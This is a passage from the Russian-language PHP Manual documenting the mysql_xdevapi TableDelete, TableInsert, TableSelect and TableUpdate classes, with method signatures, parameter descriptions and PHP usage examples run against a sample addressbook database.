->bind(['name' => 'John'])
->orderby("age DESC")
->limit(1)
->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса TableDelete

  • « TableDelete::bind
  • TableDelete::execute »
  • PHP Manual
  • mysql_xdevapi\TableDelete
  • Конструктор класса TableDelete

TableDelete::__construct

(Информация о версии неизвестна, возможно, только в Git)

TableDelete::__construct — Конструктор класса TableDelete

Описание

private mysql_xdevapi\TableDelete::__construct()

Инициируется с помощью метода delete().

Список параметров

У этой функции нет параметров.

Примеры

Пример #1 Пример использования mysql_xdevapi\TableDelete::__construct()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$table->delete()
->where("name = :name")
->bind(['name' => 'John'])
->orderby("age DESC")
->limit(1)
->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Выполняет запрос на удаление

  • « TableDelete::__construct
  • TableDelete::limit »
  • PHP Manual
  • mysql_xdevapi\TableDelete
  • Выполняет запрос на удаление

TableDelete::execute

(Информация о версии неизвестна, возможно, только в Git)

TableDelete::execute — Выполняет запрос на удаление

Описание

public mysql_xdevapi\TableDelete::execute(): mysql_xdevapi\Result

Выполняет запрос на удаление.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект Result.

Примеры

Пример #1 Пример использования mysql_xdevapi\TableDelete::execute()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$table->delete()
->where("name = :name")
->bind(['name' => 'John'])
->orderby("age DESC")
->limit(1)
->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Ограничивает строки для удаления

  • « TableDelete::execute
  • TableDelete::orderby »
  • PHP Manual
  • mysql_xdevapi\TableDelete
  • Ограничивает строки для удаления

TableDelete::limit

(Информация о версии неизвестна, возможно, только в Git)

TableDelete::limit — Ограничивает строки для удаления

Описание

public mysql_xdevapi\TableDelete::limit(int $rows): mysql_xdevapi\TableDelete

Устанавливает максимальное количество записей или документов для удаления.

Список параметров

rows

Максимальное количество записей или документов для удаления.

Возвращаемые значения

Объект TableDelete.

Примеры

Пример #1 Пример использования mysql_xdevapi\TableDelete::limit()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$table->delete()
->where("name = :name")
->bind(['name' => 'John'])
->orderby("age DESC")
->limit(1)
->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает критерии сортировки удаления

  • « TableDelete::limit
  • TableDelete::where »
  • PHP Manual
  • mysql_xdevapi\TableDelete
  • Устанавливает критерии сортировки удаления

TableDelete::orderby

(Информация о версии неизвестна, возможно, только в Git)

TableDelete::orderby — Устанавливает критерии сортировки удаления

Описание

public mysql_xdevapi\TableDelete::orderby(string $orderby_expr): mysql_xdevapi\TableDelete

Устанавливает параметры порядка для набора результатов.

Список параметров

orderby_expr

Определение сортировки.

Возвращаемые значения

Объект TableDelete.

Примеры

Пример #1 Пример использования mysql_xdevapi\TableDelete::orderBy()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$table->delete()
->where("age = :age")
->bind(['age' => 42])
->orderby("name DESC")
->limit(1)
->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает условие поиска для удаления

  • « TableDelete::orderby
  • mysql_xdevapi\TableInsert »
  • PHP Manual
  • mysql_xdevapi\TableDelete
  • Устанавливает условие поиска для удаления

TableDelete::where

(Информация о версии неизвестна, возможно, только в Git)

TableDelete::where — Устанавливает условие поиска для удаления

Описание

public mysql_xdevapi\TableDelete::where(string $where_expr): mysql_xdevapi\TableDelete

Устанавливает условие поиска для фильтрации.

Список параметров

where_expr

Определяет условие поиска для фильтрации документов или записей.

Возвращаемые значения

Объект TableDelete.

Примеры

Пример #1 Пример использования mysql_xdevapi\TableDelete::where()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$table->delete()
->where("id = :id")
->bind(['id' => 42])
->limit(1)
->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Класс TableInsert

(PECL mysql-xdevapi >= 8.0.11)

Введение

Оператор для операций вставки в таблице.

Обзор классов

class mysql_xdevapi\TableInsert implements mysql_xdevapi\Executable {
/* Методы */
public execute(): mysql_xdevapi\Result
public values(array $row_values): mysql_xdevapi\TableInsert
}

Содержание

  • TableInsert::__construct — Конструктор класса TableInsert
  • TableInsert::execute — Выполняет запрос вставки
  • TableInsert::values — Добавляет значения вставки строки

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса TableInsert

  • « mysql_xdevapi\TableInsert
  • TableInsert::execute »
  • PHP Manual
  • mysql_xdevapi\TableInsert
  • Конструктор класса TableInsert

TableInsert::__construct

(Информация о версии неизвестна, возможно, только в Git)

TableInsert::__construct — Конструктор класса TableInsert

Описание

private mysql_xdevapi\TableInsert::__construct()

Инициируется с помощью метода insert().

Список параметров

У этой функции нет параметров.

Примеры

Пример #1 Пример использования mysql_xdevapi\TableInsert::__construct()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$table
->insert("name", "age")
->values(["Suzanne", 31],["Julie", 43])
->execute();
?>

User Contributed Notes

There are no user contributed notes for this page.


Выполняет запрос вставки

  • « TableInsert::__construct
  • TableInsert::values »
  • PHP Manual
  • mysql_xdevapi\TableInsert
  • Выполняет запрос вставки

TableInsert::execute

(Информация о версии неизвестна, возможно, только в Git)

TableInsert::execute — Выполняет запрос вставки

Описание

public mysql_xdevapi\TableInsert::execute(): mysql_xdevapi\Result

Выполняет утверждение.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект Result.

Примеры

Пример #1 Пример использования mysql_xdevapi\TableInsert::execute()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$table
->insert("name", "age")
->values(["Suzanne", 31],["Julie", 43])
->execute();
?>

User Contributed Notes

There are no user contributed notes for this page.


Добавляет значения вставки строки

  • « TableInsert::execute
  • mysql_xdevapi\TableSelect »
  • PHP Manual
  • mysql_xdevapi\TableInsert
  • Добавляет значения вставки строки

TableInsert::values

(Информация о версии неизвестна, возможно, только в Git)

TableInsert::values — Добавляет значения вставки строки

Описание

public mysql_xdevapi\TableInsert::values(array $row_values): mysql_xdevapi\TableInsert

Устанавливает значения для вставки.

Список параметров

row_values

Значения (массив) столбцов для вставки.

Возвращаемые значения

Объект TableInsert.

Примеры

Пример #1 Пример использования mysql_xdevapi\TableInsert::values()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$table
->insert("name", "age")
->values(["Suzanne", 31],["Julie", 43])
->execute();
?>

User Contributed Notes

There are no user contributed notes for this page.


Класс TableSelect

(PECL mysql-xdevapi >= 8.0.11)

Введение

Оператор для операций поиска записи в таблице.

Обзор классов

class mysql_xdevapi\TableSelect implements mysql_xdevapi\Executable {
/* Методы */
public bind(array $placeholder_values): mysql_xdevapi\TableSelect
public execute(): mysql_xdevapi\RowResult
public groupBy(mixed $sort_expr): mysql_xdevapi\TableSelect
public having(string $sort_expr): mysql_xdevapi\TableSelect
public limit(int $rows): mysql_xdevapi\TableSelect
public lockExclusive(int $lock_waiting_option = ?): mysql_xdevapi\TableSelect
public lockShared(int $lock_waiting_option = ?): mysql_xdevapi\TableSelect
public offset(int $position): mysql_xdevapi\TableSelect
public orderby(mixed $sort_expr, mixed ...$sort_exprs): mysql_xdevapi\TableSelect
public where(string $where_expr): mysql_xdevapi\TableSelect
}

Содержание

  • TableSelect::bind — Привязывает параметры запроса выборки
  • TableSelect::__construct — Конструктор класса TableSelect
  • TableSelect::execute — Выполняет оператор выборки
  • TableSelect::groupBy — Устанавливает критерии группировки выборки
  • TableSelect::having — Устанавливает выбор с условием
  • TableSelect::limit — Ограничивает выбранные строки
  • TableSelect::lockExclusive — Выполняет EXCLUSIVE LOCK
  • TableSelect::lockShared — Выполняет SHARED LOCK
  • TableSelect::offset — Устанавливает предел смещения
  • TableSelect::orderby — Устанавливает критерии сортировки выборки
  • TableSelect::where — Устанавливает условие поиска выборки

User Contributed Notes

There are no user contributed notes for this page.


Привязывает параметры запроса выборки

  • « mysql_xdevapi\TableSelect
  • TableSelect::__construct »
  • PHP Manual
  • mysql_xdevapi\TableSelect
  • Привязывает параметры запроса выборки

TableSelect::bind

(Информация о версии неизвестна, возможно, только в Git)

TableSelect::bind — Привязывает параметры запроса выборки

Описание

public mysql_xdevapi\TableSelect::bind(array $placeholder_values): mysql_xdevapi\TableSelect

Привязывает значение к определённому заполнителю.

Список параметров

placeholder_values

Название заполнителя и значение для привязки.

Возвращаемые значения

Объект TableSelect.

Примеры

Пример #1 Пример использования mysql_xdevapi\TableSelect::bind()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$result = $table->select('name','age')
->where('name like :name and age > :age')
->bind(['name' => 'John', 'age' => 42])
->execute();

$row = $result->fetchAll();
print_r($row);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => Array
        (
            [name] => John
            [age] => 42
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса TableSelect

  • « TableSelect::bind
  • TableSelect::execute »
  • PHP Manual
  • mysql_xdevapi\TableSelect
  • Конструктор класса TableSelect

TableSelect::__construct

(Информация о версии неизвестна, возможно, только в Git)

TableSelect::__construct — Конструктор класса TableSelect

Описание

private mysql_xdevapi\TableSelect::__construct()

Объект, возвращаемый методом select(); Используйте execute() для выполнения запроса.

Список параметров

У этой функции нет параметров.

Примеры

Пример #1 Пример использования mysql_xdevapi\TableSelect::__construct()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$result = $table->select('name','age')
->where('name like :name and age > :age')
->bind(['name' => 'John', 'age' => 42])
->orderBy('age desc')
->execute();

$row = $result->fetchAll();
print_r($row);

?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => Array
        (
            [name] => John
            [age] => 42
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Выполняет оператор выборки

  • « TableSelect::__construct
  • TableSelect::groupBy »
  • PHP Manual
  • mysql_xdevapi\TableSelect
  • Выполняет оператор выборки

TableSelect::execute

(Информация о версии неизвестна, возможно, только в Git)

TableSelect::execute — Выполняет оператор выборки

Описание

public mysql_xdevapi\TableSelect::execute(): mysql_xdevapi\RowResult

Выполняет утверждение выборки, связывая его с методом execute().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект RowResult.

Примеры

Пример #1 Пример использования mysql_xdevapi\TableSelect::execute()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$result = $table->select('name','age')
->where('name like :name and age > :age')
->bind(['name' => 'John', 'age' => 42])
->orderBy('age desc')
->execute();

$row = $result->fetchAll();
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => Array
        (
            [name] => John
            [age] => 42
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает критерии группировки выборки

  • « TableSelect::execute
  • TableSelect::having »
  • PHP Manual
  • mysql_xdevapi\TableSelect
  • Устанавливает критерии группировки выборки

TableSelect::groupBy

(Информация о версии неизвестна, возможно, только в Git)

TableSelect::groupBy — Устанавливает критерии группировки выборки

Описание

public mysql_xdevapi\TableSelect::groupBy(mixed $sort_expr): mysql_xdevapi\TableSelect

Устанавливает критерии группировки для набора результатов.

Список параметров

sort_expr

Критерии группировки.

Возвращаемые значения

Объект TableSelect.

Примеры

Пример #1 Пример использования mysql_xdevapi\TableSelect::groupBy()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 42)")->execute();
$session->sql("INSERT INTO addressbook.names values ('Suki', 31)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$result = $table->select('count(*) as count', 'age')
->groupBy('age')->orderBy('age asc')
->execute();

$row = $result->fetchAll();
print_r($row);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => Array
        (
            [count] => 1
            [age] => 31
        )
    [1] => Array
        (
            [count] => 2
            [age] => 42
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает выбор с условием

  • « TableSelect::groupBy
  • TableSelect::limit »
  • PHP Manual
  • mysql_xdevapi\TableSelect
  • Устанавливает выбор с условием

TableSelect::having

(Информация о версии неизвестна, возможно, только в Git)

TableSelect::having — Устанавливает выбор с условием

Описание

public mysql_xdevapi\TableSelect::having(string $sort_expr): mysql_xdevapi\TableSelect

Устанавливает условие для записей для рассмотрения в операциях агрегатной функции.

Список параметров

sort_expr

Условие для агрегатных функций, используемых в критериях группировки.

Возвращаемые значения

Объект TableSelect.

Примеры

Пример #1 Пример использования mysql_xdevapi\TableSelect::having()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 42)")->execute();
$session->sql("INSERT INTO addressbook.names values ('Suki', 31)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$result = $table->select('count(*) as count', 'age')
->groupBy('age')->orderBy('age asc')
->having('count > 1')
->execute();

$row = $result->fetchAll();
print_r($row);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => Array
        (
            [count] => 2
            [age] => 42
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Ограничивает выбранные строки

  • « TableSelect::having
  • TableSelect::lockExclusive »
  • PHP Manual
  • mysql_xdevapi\TableSelect
  • Ограничивает выбранные строки

TableSelect::limit

(Информация о версии неизвестна, возможно, только в Git)

TableSelect::limit — Ограничивает выбранные строки

Описание

public mysql_xdevapi\TableSelect::limit(int $rows): mysql_xdevapi\TableSelect

Устанавливает максимальное количество записей или документов для возврата.

Список параметров

rows

Максимальное количество записей или документов.

Возвращаемые значения

Объект TableSelect.

Примеры

Пример #1 Пример использования mysql_xdevapi\TableSelect::limit()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$result = $table->select('name', 'age')
->limit(1)
->execute();

$row = $result->fetchAll();
print_r($row);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => Array
        (
            [name] => John
            [age] => 42
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Выполняет EXCLUSIVE LOCK

  • « TableSelect::limit
  • TableSelect::lockShared »
  • PHP Manual
  • mysql_xdevapi\TableSelect
  • Выполняет EXCLUSIVE LOCK

TableSelect::lockExclusive

(Информация о версии неизвестна, возможно, только в Git)

TableSelect::lockExclusive — Выполняет EXCLUSIVE LOCK

Описание

public mysql_xdevapi\TableSelect::lockExclusive(int $lock_waiting_option = ?): mysql_xdevapi\TableSelect

Выполняет операцию чтения с EXCLUSIVE LOCK. Только один замок может быть активным одновременно.

Список параметров

lock_waiting_option

Необязательный параметр ожидания, который по умолчанию равен MYSQLX_LOCK_DEFAULT. Допустимые значения:

  • MYSQLX_LOCK_DEFAULT

  • MYSQLX_LOCK_NOWAIT

  • MYSQLX_LOCK_SKIP_LOCKED

Возвращаемые значения

Объект TableSelect.

Примеры

Пример #1 Пример использования mysql_xdevapi\TableSelect::lockExclusive()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$session->startTransaction();

$result = $table->select('name', 'age')
->lockExclusive(MYSQLX_LOCK_NOWAIT)
->execute();

$session->commit();

$row = $result->fetchAll();
print_r($row);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => Array
        (
            [name] => John
            [age] => 42
        )
    [1] => Array
        (
            [name] => Sam
            [age] => 42
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Выполняет SHARED LOCK

  • « TableSelect::lockExclusive
  • TableSelect::offset »
  • PHP Manual
  • mysql_xdevapi\TableSelect
  • Выполняет SHARED LOCK

TableSelect::lockShared

(Информация о версии неизвестна, возможно, только в Git)

TableSelect::lockShared — Выполняет SHARED LOCK

Описание

public mysql_xdevapi\TableSelect::lockShared(int $lock_waiting_option = ?): mysql_xdevapi\TableSelect

Выполняет операцию чтения с SHARED LOCK. Только один замок может быть активным одновременно.

Список параметров

lock_waiting_option

Необязательный параметр ожидания, который по умолчанию равен MYSQLX_LOCK_DEFAULT. Допустимые значения:

  • MYSQLX_LOCK_DEFAULT

  • MYSQLX_LOCK_NOWAIT

  • MYSQLX_LOCK_SKIP_LOCKED

Возвращаемые значения

Объект TableSelect.

Примеры

Пример #1 Пример использования mysql_xdevapi\TableSelect::lockShared()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$session->startTransaction();

$result = $table->select('name', 'age')
->lockShared(MYSQLX_LOCK_NOWAIT)
->execute();

$session->commit();

$row = $result->fetchAll();
print_r($row);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => Array
        (
            [name] => John
            [age] => 42
        )
    [1] => Array
        (
            [name] => Sam
            [age] => 42
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает предел смещения

  • « TableSelect::lockShared
  • TableSelect::orderby »
  • PHP Manual
  • mysql_xdevapi\TableSelect
  • Устанавливает предел смещения

TableSelect::offset

(Информация о версии неизвестна, возможно, только в Git)

TableSelect::offset — Устанавливает предел смещения

Описание

public mysql_xdevapi\TableSelect::offset(int $position): mysql_xdevapi\TableSelect

Пропускает указанное количество строк в результате.

Список параметров

position

Предел смещения.

Возвращаемые значения

Объект TableSelect.

Примеры

Пример #1 Пример использования mysql_xdevapi\TableSelect::offset()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 42)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$result = $table->select('name', 'age')
->limit(1)
->offset(1)
->execute();

$row = $result->fetchAll();
print_r($row);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => Array
        (
            [name] => Sam
            [age] => 42
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает критерии сортировки выборки

  • « TableSelect::offset
  • TableSelect::where »
  • PHP Manual
  • mysql_xdevapi\TableSelect
  • Устанавливает критерии сортировки выборки

TableSelect::orderby

(Информация о версии неизвестна, возможно, только в Git)

TableSelect::orderby — Устанавливает критерии сортировки выборки

Описание

public mysql_xdevapi\TableSelect::orderby(mixed $sort_expr, mixed ...$sort_exprs): mysql_xdevapi\TableSelect

Устанавливает порядок по критериям.

Список параметров

sort_expr

Выражения, которые определяют порядок по критериям. Может быть массивом с одним или несколькими выражениями или строкой.

sort_exprs

Дополнительные параметры sort_expr.

Возвращаемые значения

Объект TableSelect.

Примеры

Пример #1 Пример использования mysql_xdevapi\TableSelect::orderBy()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$result = $table->select('name', 'age')
->orderBy('name desc')
->execute();

$row = $result->fetchAll();
print_r($row);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => Array
        (
            [name] => Sam
            [age] => 42
        )
    [1] => Array
        (
            [name] => John
            [age] => 42
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает условие поиска выборки

  • « TableSelect::orderby
  • mysql_xdevapi\TableUpdate »
  • PHP Manual
  • mysql_xdevapi\TableSelect
  • Устанавливает условие поиска выборки

TableSelect::where

(Информация о версии неизвестна, возможно, только в Git)

TableSelect::where — Устанавливает условие поиска выборки

Описание

public mysql_xdevapi\TableSelect::where(string $where_expr): mysql_xdevapi\TableSelect

Устанавливает условие поиска для фильтрации.

Список параметров

where_expr

Определяет условие поиска для фильтрации документов или записей.

Возвращаемые значения

Объект TableSelect.

Примеры

Пример #1 Пример использования mysql_xdevapi\TableSelect::where()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$result = $table->select('name','age')
->where('name like :name and age > :age')
->bind(['name' => 'John', 'age' => 42])
->execute();

$row = $result->fetchAll();
print_r($row);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => Array
        (
            [name] => John
            [age] => 42
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Класс TableUpdate

(PECL mysql-xdevapi >= 8.0.11)

Введение

Оператор для операций обновления записи в таблице.

Обзор классов

class mysql_xdevapi\TableUpdate implements mysql_xdevapi\Executable {
/* Методы */
public bind(array $placeholder_values): mysql_xdevapi\TableUpdate
public execute(): mysql_xdevapi\TableUpdate
public limit(int $rows): mysql_xdevapi\TableUpdate
public orderby(mixed $orderby_expr, mixed ...$orderby_exprs): mysql_xdevapi\TableUpdate
public set(string $table_field, string $expression_or_literal): mysql_xdevapi\TableUpdate
public where(string $where_expr): mysql_xdevapi\TableUpdate
}

Содержание

  • TableUpdate::bind — Привязывает параметры запроса на обновление
  • TableUpdate::__construct — Конструктор класса TableUpdate
  • TableUpdate::execute — Выполняет запрос на обновление
  • TableUpdate::limit — Ограничивает количество строк для обновления
  • TableUpdate::orderby — Устанавливает критерии сортировки
  • TableUpdate::set — Добавляет поле для обновления
  • TableUpdate::where — Устанавливает фильтр поиска

User Contributed Notes

There are no user contributed notes for this page.


Привязывает параметры запроса на обновление

  • « mysql_xdevapi\TableUpdate
  • TableUpdate::__construct »
  • PHP Manual
  • mysql_xdevapi\TableUpdate
  • Привязывает параметры запроса на обновление

TableUpdate::bind

(Информация о версии неизвестна, возможно, только в Git)

TableUpdate::bind — Привязывает параметры запроса на обновление

Описание

public mysql_xdevapi\TableUpdate::bind(array $placeholder_values): mysql_xdevapi\TableUpdate

Привязывает значение к определённому заполнителю.

Список параметров

placeholder_values

Имя заполнителя и значение для привязки, определённое, как массив JSON.

Возвращаемые значения

Объект TableUpdate.

Примеры

Пример #1 Пример использования mysql_xdevapi\TableUpdate::bind()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$table->update()
->set('status', 'admin')
->where('name = :name and age > :age')
->bind(['name' => 'Bernie', 'age' => 2000])
->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса TableUpdate

  • « TableUpdate::bind
  • TableUpdate::execute »
  • PHP Manual
  • mysql_xdevapi\TableUpdate
  • Конструктор класса TableUpdate

TableUpdate::__construct

(Информация о версии неизвестна, возможно, только в Git)

TableUpdate::__construct — Конструктор класса TableUpdate

Описание

private mysql_xdevapi\TableUpdate::__construct()

Инициируется с помощью метода update().

Список параметров

У этой функции нет параметров.

Примеры

Пример #1 Пример использования mysql_xdevapi\TableUpdate::__construct()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$res = $table->update()
->set('level', 3)
->where('age > 15 and age < 22')
->limit(4)
->orderby(['age asc','name desc'])
->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Выполняет запрос на обновление

  • « TableUpdate::__construct
  • TableUpdate::limit »
  • PHP Manual
  • mysql_xdevapi\TableUpdate
  • Выполняет запрос на обновление

TableUpdate::execute

(Информация о версии неизвестна, возможно, только в Git)

TableUpdate::execute — Выполняет запрос на обновление

Описание

public mysql_xdevapi\TableUpdate::execute(): mysql_xdevapi\TableUpdate

Выполняет утверждение обновления.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект TableUpdate.

Примеры

Пример #1 Пример использования mysql_xdevapi\TableUpdate::execute()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$res = $table->update()
->set('level', 3)
->where('age > 15 and age < 22')
->limit(4)
->orderby(['age asc','name desc'])
->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Ограничивает количество строк для обновления

  • « TableUpdate::execute
  • TableUpdate::orderby »
  • PHP Manual
  • mysql_xdevapi\TableUpdate
  • Ограничивает количество строк для обновления

TableUpdate::limit

(Информация о версии неизвестна, возможно, только в Git)

TableUpdate::limit — Ограничивает количество строк для обновления

Описание

public mysql_xdevapi\TableUpdate::limit(int $rows): mysql_xdevapi\TableUpdate

Устанавливает максимальное количество записей или документов обновления.

Список параметров

rows

Максимальное количество записей или документов для обновления.

Возвращаемые значения

Объект TableUpdate.

Примеры

Пример #1 Пример использования mysql_xdevapi\TableUpdate::limit()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$res = $table->update()
->set('level', 3)
->where('age > 15 and age < 22')
->limit(4)
->orderby(['age asc','name desc'])
->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает критерии сортировки

  • « TableUpdate::limit
  • TableUpdate::set »
  • PHP Manual
  • mysql_xdevapi\TableUpdate
  • Устанавливает критерии сортировки

TableUpdate::orderby

(Информация о версии неизвестна, возможно, только в Git)

TableUpdate::orderby — Устанавливает критерии сортировки

Описание

public mysql_xdevapi\TableUpdate::orderby(mixed $orderby_expr, mixed ...$orderby_exprs): mysql_xdevapi\TableUpdate

Устанавливает критерии сортировки.

Список параметров

orderby_expr

Выражения, которые определяют порядок по критериям. Может быть массивом с одним или несколькими выражениями или строкой.

orderby_exprs

Дополнительные параметры sort_expr.

Возвращаемые значения

Объект TableUpdate.

Примеры

Пример #1 Пример использования mysql_xdevapi\TableUpdate::orderby()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$res = $table->update()
->set('level', 3)
->where('age > 15 and age < 22')
->limit(4)
->orderby(['age asc','name desc'])
->execute();
?>

User Contributed Notes

There are no user contributed notes for this page.


Добавляет поле для обновления

  • « TableUpdate::orderby
  • TableUpdate::where »
  • PHP Manual
  • mysql_xdevapi\TableUpdate
  • Добавляет поле для обновления

TableUpdate::set

(Информация о версии неизвестна, возможно, только в Git)

TableUpdate::set — Добавляет поле для обновления

Описание

public mysql_xdevapi\TableUpdate::set(string $table_field, string $expression_or_literal): mysql_xdevapi\TableUpdate

Обновляет значение столбца для записей в таблице.

Список параметров

table_field

Имя столбца, подлежащего обновлению.

expression_or_literal

Значение, которое будет установлено в указанном столбце.

Возвращаемые значения

Объект TableUpdate.

Примеры

Пример #1 Пример использования mysql_xdevapi\TableUpdate::set()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$res = $table->update()
->set('level', 3)
->where('age > 15 and age < 22')
->limit(4)
->orderby(['age asc','name desc'])
->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает фильтр поиска

